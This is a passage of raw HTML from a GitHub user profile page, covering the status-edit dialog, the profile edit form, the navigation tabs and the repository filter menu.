class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-true" id="limited-availability-truncate-false-compact-true"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-true"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-true"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> <div class="d-flex flex-column"> <div class="flex-order-1 flex-md-order-none"> <div class="d-flex flex-lg-row flex-md-column"> </div> <!-- '"` --><!-- </textarea></xmp> --></option></form><form hidden="hidden" class="position-relative flex-auto js-profile-editable-form" data-turbo="false" action="/users/chikitang" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="iwkVToBnjXFFdNjInjG45Uav3_DZUvm96ztLPa7SIYzz2alJxKqJKkcLPLY81dLs-VRRaZXtdnzRx1yISU3dcQ" /> <div class="mb-1 mb-2"> <label for="user_profile_name" class="d-block mb-1">Name</label> <input class="width-full form-control" id="user_profile_name" placeholder="Name" aria-label="Name" name="user[profile_name]" value=""> </div> <div class="js-length-limited-input-container"> <label for="user_profile_bio" class="d-block mb-1">Bio</label> <text-expander keys=": @" data-emoji-url="/autocomplete/emoji" data-mention-url="/autocomplete/user-suggestions"> <textarea class="form-control js-length-limited-input mb-1 width-full js-user-profile-bio-edit" id="user_profile_bio" name="user[profile_bio]" placeholder="Add a bio" aria-label="Add a bio" rows="3" data-input-max-length="160" data-warning-text="{{remaining}} remaining"></textarea> <div class="d-none js-length-limited-input-warning user-profile-bio-message text-right m-0"></div> </text-expander> <p class="note"> You can <strong>@mention</strong> other users and organizations to link to them. </p> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-organization"> <path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Company" aria-label="Company" name="user[profile_company]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-location"> <path fill-rule="evenodd" d="M11.536 3.464a5 5 0 010 7.072L8 14.07l-3.536-3.535a5 5 0 117.072-7.072v.001zm1.06 8.132a6.5 6.5 0 10-9.192 0l3.535 3.536a1.5 1.5 0 002.122 0l3.535-3.536zM8 9a2 2 0 100-4 2 2 0 000 4z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Location" aria-label="Location" name="user[profile_location]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link"> <path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Website" aria-label="Website" name="user[profile_blog]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center" > <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 273.5 222.3" height="16" width="16"><title>Twitter</title><path d="M273.5 26.3a109.77 109.77 0 0 1-32.2 8.8 56.07 56.07 0 0 0 24.7-31 113.39 113.39 0 0 1-35.7 13.6 56.1 56.1 0 0 0-97 38.4 54 54 0 0 0 1.5 12.8A159.68 159.68 0 0 1 19.1 10.3a56.12 56.12 0 0 0 17.4 74.9 56.06 56.06 0 0 1-25.4-7v.7a56.11 56.11 0 0 0 45 55 55.65 55.65 0 0 1-14.8 2 62.39 62.39 0 0 1-10.6-1 56.24 56.24 0 0 0 52.4 39 112.87 112.87 0 0 1-69.7 24 119 119 0 0 1-13.4-.8 158.83 158.83 0 0 0 86 25.2c103.2 0 159.6-85.5 159.6-159.6 0-2.4-.1-4.9-.2-7.3a114.25 114.25 0 0 0 28.1-29.1" fill="currentColor"></path></svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Twitter username" aria-label="Twitter username" name="user[profile_twitter_username]" value="" > </div> <div class="my-3"> <div class="js-profile-editable-error color-fg-danger my-3"></div> <button type="submit" data-view-component="true" class="btn-primary btn-sm btn"> Save </button> <button type="reset" data-view-component="true" class="js-profile-editable-cancel btn-sm btn"> Cancel </button> </div> </form> </div> <div class="js-profile-editable-area d-flex flex-column d-md-block"> <div class="p-note user-profile-bio mb-3 js-user-profile-bio f4" data-bio-text="" hidden></div> <div class="mb-3"> <button name="button" type="button" class="btn btn-block js-profile-editable-edit-button" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"INLINE_EDIT_BUTTON","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="61c43523f3cefbffa175f42d94926965a2c009a1d69d82f4bd8aee8c11a19dc8">Edit profile</button> </div> <ul class="vcard-details"> <li title="Member since" class="vcard-detail pt-1 css-truncate css-truncate-target "><svg class="octicon octicon-clock" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zm.5 4.75a.75.75 0 00-1.5 0v3.5a.75.75 0 00.471.696l2.5 1a.75.75 0 00.557-1.392L8.5 7.742V4.75z"></path></svg> <span class="join-label">Joined </span> <relative-time datetime="2022-06-08T03:50:24Z" class="no-wrap">Jun 7, 2022</relative-time> </li> </ul> </div> </div> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav user-profile-nav d-block d-md-none position-sticky top-0 pl-3 ml-n3 mr-n3 pr-3 color-bg-default" style="z-index:3;" > <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_OVERVIEW","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_REPOSITORIES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PROJECTS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PACKAGES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_STARS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&type=beta" href="/chikitang?tab=projects&type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> <div> <div class="position-relative"> <div class="border-bottom color-border-muted py-3"> <a href="/new" class="d-md-none btn btn-primary d-flex flex-items-center flex-justify-center width-full mb-4"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo mr-1"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> <div class="d-flex flex-items-start"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="width-full" data-autosearch-results-container="user-repositories-list" aria-label="Repositories" role="search" data-turbo="false" action="/chikitang" accept-charset="UTF-8" method="get"> <div class="d-flex flex-column flex-lg-row flex-auto"> <div class="mb-1 mb-md-0 mr-md-3 flex-auto"> <input type="hidden" name="tab" value="repositories"> <input type="search" id="your-repos-filter" name="q" class="form-control width-full" placeholder="Find a repository…" autocomplete="off" aria-label="Find a repository…" value="" data-throttled-autosubmit> </div> <div class="d-flex flex-wrap"> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 mr-1" id="type-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Type</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select type</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="type-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="type" id="type_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_public" value="public" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Public</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_private" value="private" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Private</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_source" value="source" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Sources</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_fork" value="fork" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Forks</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_archived" value="archived" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Archived</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_mirror" value="mirror" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Mirrors</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_template" value="template" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 